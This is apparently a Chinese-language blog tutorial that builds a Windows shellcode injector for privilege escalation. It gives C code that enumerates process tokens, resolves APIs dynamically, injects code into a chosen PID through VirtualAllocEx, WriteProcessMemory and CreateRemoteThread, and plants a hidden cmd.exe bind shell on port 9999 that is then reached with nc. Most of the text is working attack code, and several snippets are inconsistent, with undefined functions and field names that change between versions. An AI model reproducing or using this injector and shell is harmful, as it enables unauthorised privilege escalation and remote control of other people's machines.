如果将shellcode注入到具有特定权限的进程中,我们就可以获得与该进程相同的权限,此方法可以用于提权与降权操作,注入有多种方式,最简单的是直接将metasploit生成的有效载荷直接注入到目标进程中,并通过创建远程线程启动,还可以自己实现一个注入器,这里我们自己来实现一个提权器,可提权也可降权。
枚举系统进程,与进程权限令牌等。
#include <stdio.h> #include <Windows.h> #include <TlHelp32.h>
void __stdcall EnumOwner(HANDLE htoken) { DWORD dwLen; PSID pSid = 0; TOKEN_USER *pWork; SID_NAME_USE use; TCHAR User[256], Domain[256];
GetTokenInformation(htoken, TokenUser, NULL, 0, &dwLen); pWork = (TOKEN_USER *)LocalAlloc(LMEM_ZEROINIT, dwLen); if (GetTokenInformation(htoken, TokenUser, pWork, dwLen, &dwLen)) { dwLen = GetLengthSid(pWork->User.Sid); pSid = (PSID)LocalAlloc(LMEM_ZEROINIT, dwLen); CopySid(dwLen, pSid, pWork->User.Sid); dwLen = 256; LookupAccountSid(NULL, pSid, &User[0], &dwLen, &Domain[0], &dwLen, &use); printf("\t 权限类型 => %s : %s ", Domain, User); } }
int enumprocess() { HANDLE SnapShot, ProcessHandle, hToken; PROCESSENTRY32 pe32;
SnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); pe32.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(SnapShot, &pe32) == FALSE) return 0;
while (1) { if (Process32Next(SnapShot, &pe32) == FALSE) return 0; printf("PID => %6i \t 进程名 => %-20s \t 线程数 => %3i", pe32.th32ProcessID, pe32.szExeFile, pe32.cntThreads); ProcessHandle = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, pe32.th32ProcessID); if (ProcessHandle != NULL) { if (OpenProcessToken(ProcessHandle, TOKEN_QUERY, &hToken)) { EnumOwner(hToken); CloseHandle(hToken); CloseHandle(ProcessHandle); } } printf("\n"); } return 1; }
int main(int argc, char * argv[]) { ExtractProcessTokens(); system("pause"); return 0; }
|

枚举线程权限类型
int enumtoken(DWORD dwPID) { HANDLE hThreadSnap = INVALID_HANDLE_VALUE; THREADENTRY32 te32;
if ((hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0)) != INVALID_HANDLE_VALUE) { te32.dwSize = sizeof(THREADENTRY32); if (Thread32First(hThreadSnap, &te32)) { do { HANDLE hThread = OpenThread(THREAD_QUERY_INFORMATION, TRUE, te32.th32ThreadID); if (hThread != NULL) { HANDLE hToken; OpenThreadToken(hThread, TOKEN_QUERY, TRUE, &hToken); EnumOwner(hToken); CloseHandle(hToken); } } while (Thread32Next(hThreadSnap, &te32)); } } return TRUE; }
|
手工获取函数地址 第一步,手动获取到kernel32.dll地址,与GetProcaddress地址,然后就可以动态获取到任意函数的地址,先定义数据结构
typedef struct _ShellBase { HANDLE KernelHandle; char kernelstring[20]; LOADLIBRARY KernelLoadLibrary; GETPROCADDRESS KernelGetProcAddress;
HANDLE UserHandle; char userstring[20]; }ShellParametros;
|
然后,主函数获取地址,并写入全局结构体。
int main(int argc, char * argv[]) { ShellParametros Param; Param.KernelHandle = LoadLibrary("kernel32.dll"); Param.KernelLoadLibrary = (LOADLIBRARY)GetProcAddress((HINSTANCE)Param.KernelHandle, "LoadLibraryA"); Param.KernelGetProcAddress = (GETPROCADDRESS)GetProcAddress((HINSTANCE)Param.KernelHandle, "GetProcAddress"); printf("获取到Kernel32.dll = %x", Param.KernelHandle);
strcpy(Param.kernelstring, "kernel32.dll"); strcpy(Param.userstring, "user32.dll"); system("pause"); return 0; }
|

查询弹窗定义。
WINUSERAPI int WINAPI MessageBoxA( _In_opt_ HWND hWnd, _In_opt_ LPCSTR lpText, _In_opt_ LPCSTR lpCaption, _In_ UINT uType);
|
头部声明
typedef HMODULE(WINAPI *LOADLIBRARY)(LPCTSTR lpFileName); typedef FARPROC(WINAPI *GETPROCADDRESS) (HMODULE hModule, LPCSTR lpProcName);
typedef int(WINAPI *MESSAGEBOX)(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType);
|
获取地址,并转为MESSAGEBOX指针。
void __stdcall MyShell(ShellParametros *ptr) { ptr->KernelHandle = (HANDLE)(*ptr->KernelLoadLibrary)(ptr->kernelstring); ptr->UserHandle = (HANDLE)(*ptr->KernelLoadLibrary)(ptr->userstring);
printf("动态获取到Kernel32基地址 = %x \n", ptr->KernelHandle); printf("动态获取到User32基地址 = %x \n", ptr->UserHandle);
MESSAGEBOX msgbox = (MESSAGEBOX)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->UserHandle, "MessageBoxA"); printf("%x \n", msgbox); msgbox(0, 0, 0, 0); }
|
调用

注入目标进程,需要获得字符串,该字符串要存储到内存中,修改.
MESSAGEBOX msgbox = (MESSAGEBOX)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->UserHandle, "MessageBoxA");
typedef struct _ShellBase { HANDLE KernelHandle; char kernelstring[20]; LOADLIBRARY KernelLoadLibrary; GETPROCADDRESS KernelGetProcAddress;
HANDLE UserHandle; char userstring[20]; char msgbox[20];
}ShellParametros;
MESSAGEBOX msgbox = (MESSAGEBOX)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->UserHandle, ptr->msgbox);
|
将代码注入到目标进程中,弹窗提示一下,开辟远程线程。
int main(int argc, char * argv[]) { ShellParametros Param, *remote = NULL; HANDLE hProcess; void *p = NULL; Param.Kernel32Base = LoadLibrary("kernel32.dll"); Param.Kernel_LoadLibrary = (LOADLIBRARY)GetProcAddress((HINSTANCE)Param.Kernel32Base, "LoadLibraryA"); Param.KernelGetProcAddress = (GETPROCADDRESS)GetProcAddress((HINSTANCE)Param.Kernel32Base, "GetProcAddress");
strcpy(Param.KernelString, "kernel32.dll"); strcpy(Param.UserString, "user32.dll");
strcpy(Param.User_MsgBox, "MessageBoxA"); strcpy(Param.Text, "hello lyshark");
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 17508); p = VirtualAllocEx(hProcess, 0, 4096 * 2, MEM_COMMIT, PAGE_EXECUTE_READWRITE); remote = (ShellParametros *)VirtualAllocEx(hProcess, 0, sizeof(ShellParametros), MEM_COMMIT, PAGE_READWRITE); WriteProcessMemory(hProcess, p, &MyShell, 4096 * 2, 0); WriteProcessMemory(hProcess, remote, &Param, sizeof(ShellParametros), 0); CreateRemoteThread(hProcess, 0, 0, (DWORD(__stdcall *)(void *)) p, remote, 0, 0); return 0; }
|

实现CMDShell 以下代码可实现正向cmdshell,我们将其改进一下,让其支持动态获取地址。
#include <winsock2.h> #define Port 9999 #pragma comment(lib,"ws2_32.lib")
int main() { SOCKET sSocket, cSocket; STARTUPINFO si; PROCESS_INFORMATION pi; WSADATA wsaData; sockaddr_in sSockaddr; char szCmdPath[MAX_PATH];
GetEnvironmentVariableA("COMSPEC", szCmdPath, MAX_PATH);
WSAStartup(0x0202, &wsaData); cSocket = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); sSockaddr.sin_addr.s_addr = INADDR_ANY; sSockaddr.sin_family = AF_INET; sSockaddr.sin_port = htons(Port); bind(cSocket, (sockaddr*)&sSockaddr, sizeof(sSockaddr)); listen(cSocket, 1);
int sLen = sizeof(sSockaddr); sSocket = accept(cSocket, (sockaddr*)&sSockaddr, &sLen); si.cb = sizeof(si); si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; si.hStdInput = (HANDLE)sSocket; si.hStdOutput = (HANDLE)sSocket; si.hStdError = (HANDLE)sSocket; CreateProcessA(NULL, szCmdPath, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi); WaitForSingleObject(pi.hProcess, INFINITE); WSACleanup();
return 0; }
|
依次验证常用函数所在动态链接库,就调用了2个库,好,我们继续写。


上方的代码就是一个正向CMDshell,我们将其写成自定位代码即可,首先定义需要用得到的指针。
typedef HMODULE(WINAPI *LOADLIBRARY)(LPCTSTR); typedef FARPROC(WINAPI *GETPROCADDRESS) (HMODULE, LPCSTR);
typedef int (WINAPI *BIND) (SOCKET, const struct sockaddr*, int); typedef SOCKET(WINAPI *ACCEPT) (SOCKET, struct sockaddr*, int*); typedef int (WINAPI *LISTEN) (SOCKET, int); typedef int (WINAPI *WSASTARTUP) (WORD, LPWSADATA); typedef SOCKET(WINAPI *WSASOCKET) (int, int, int, LPWSAPROTOCOL_INFO, GROUP, DWORD); typedef int (WINAPI *WSACONNECT) (SOCKET, const struct sockaddr*, int, LPWSABUF, LPWSABUF, LPQOS, LPQOS); typedef BOOL(WINAPI * CREATEPROCESS) (LPCTSTR, LPTSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCTSTR, LPSTARTUPINFO, LPPROCESS_INFORMATION);
|
main函数中向结构体中拷贝数据
memset((void *)¶metros, 0, sizeof(PARAMETROS)); strncpy(parametros.cmd, "cmd", 2); parametros.port = htons((unsigned short)9999);
parametros.KernelHandle = LoadLibrary("kernel32.dll"); parametros.KernelLoadLibrary = (LOADLIBRARY)GetProcAddress((HINSTANCE)parametros.KernelHandle, "LoadLibraryA"); parametros.KernelGetProcAddress = (GETPROCADDRESS)GetProcAddress((HINSTANCE)parametros.KernelHandle, "GetProcAddress");
strcpy(parametros.wsastring, "ws2_32.dll"); strcpy(parametros.wsastartupstring, "WSAStartup"); strcpy(parametros.WSASocketString, "WSASocketW"); strcpy(parametros.WSAConnectstring, "WSAConnect"); strcpy(parametros.bindstring, "bind"); strcpy(parametros.acceptstring, "accept"); strcpy(parametros.listenstring, "listen");
strcpy(parametros.kernelstring, "kernel32.dll"); strcpy(parametros.CreateProcessstring, "CreateProcessA");
|
调用shell代码,代码先执行动态获取API地址,然后动态调用。
void __stdcall MyShell(PARAMETROS *ptr) { ptr->WSAHandle = (HANDLE)(*ptr->KernelLoadLibrary)(ptr->wsastring); ptr->ShellWsaStartup = (WSASTARTUP)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->wsastartupstring); ptr->ShellWSASocket = (WSASOCKET)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->WSASocketString); ptr->ShellWsaConnect = (WSACONNECT)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->WSAConnectstring); ptr->ShellBind = (BIND)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->bindstring); ptr->ShellAccept = (ACCEPT)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->acceptstring); ptr->ShellListen = (LISTEN)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->listenstring);
ptr->KernelHandle = (HANDLE)(*ptr->KernelLoadLibrary)(ptr->kernelstring); ptr->KernelCreateProcess = (CREATEPROCESS)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->KernelHandle, ptr->CreateProcessstring); ptr->ShellWsaStartup(0x101, &HWSAdata); s = ptr->ShellWSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0); sa.sin_family = AF_INET; sa.sin_port = ptr->port; sa.sin_addr.s_addr = 0; ptr->ShellBind(s, (struct sockaddr *) &sa, 16); ptr->ShellListen(s, 1); while (1) { n = ptr->ShellAccept(s, (struct sockaddr *)&sa, NULL); si.cb = sizeof(si); si.wShowWindow = SW_HIDE; si.dwFlags = STARTF_USESHOWWINDOW + STARTF_USESTDHANDLES; si.hStdInput = si.hStdOutput = si.hStdError = (void *)n; si.lpDesktop = si.lpTitle = (char *)0x0000; si.lpReserved2 = NULL; ptr->KernelCreateProcess(NULL, ptr->cmd, NULL, NULL, TRUE, 0, NULL, NULL, (STARTUPINFO*)&si, &pi); } }
|
最后,主函数开辟远程线程,即可完成权限提升,下载地址中包括32与64两个版本,不同版本对应不同位数。
首先使用注入器注入一个正在运行的进程,参数为PID

使用NC直接连接进去,即可获取到,与注入进程相同的权限,端口写死了9999

如果目标进程开启了,动态地址,ASLR,等则注入会失败,程序崩溃,这里需要注意一下。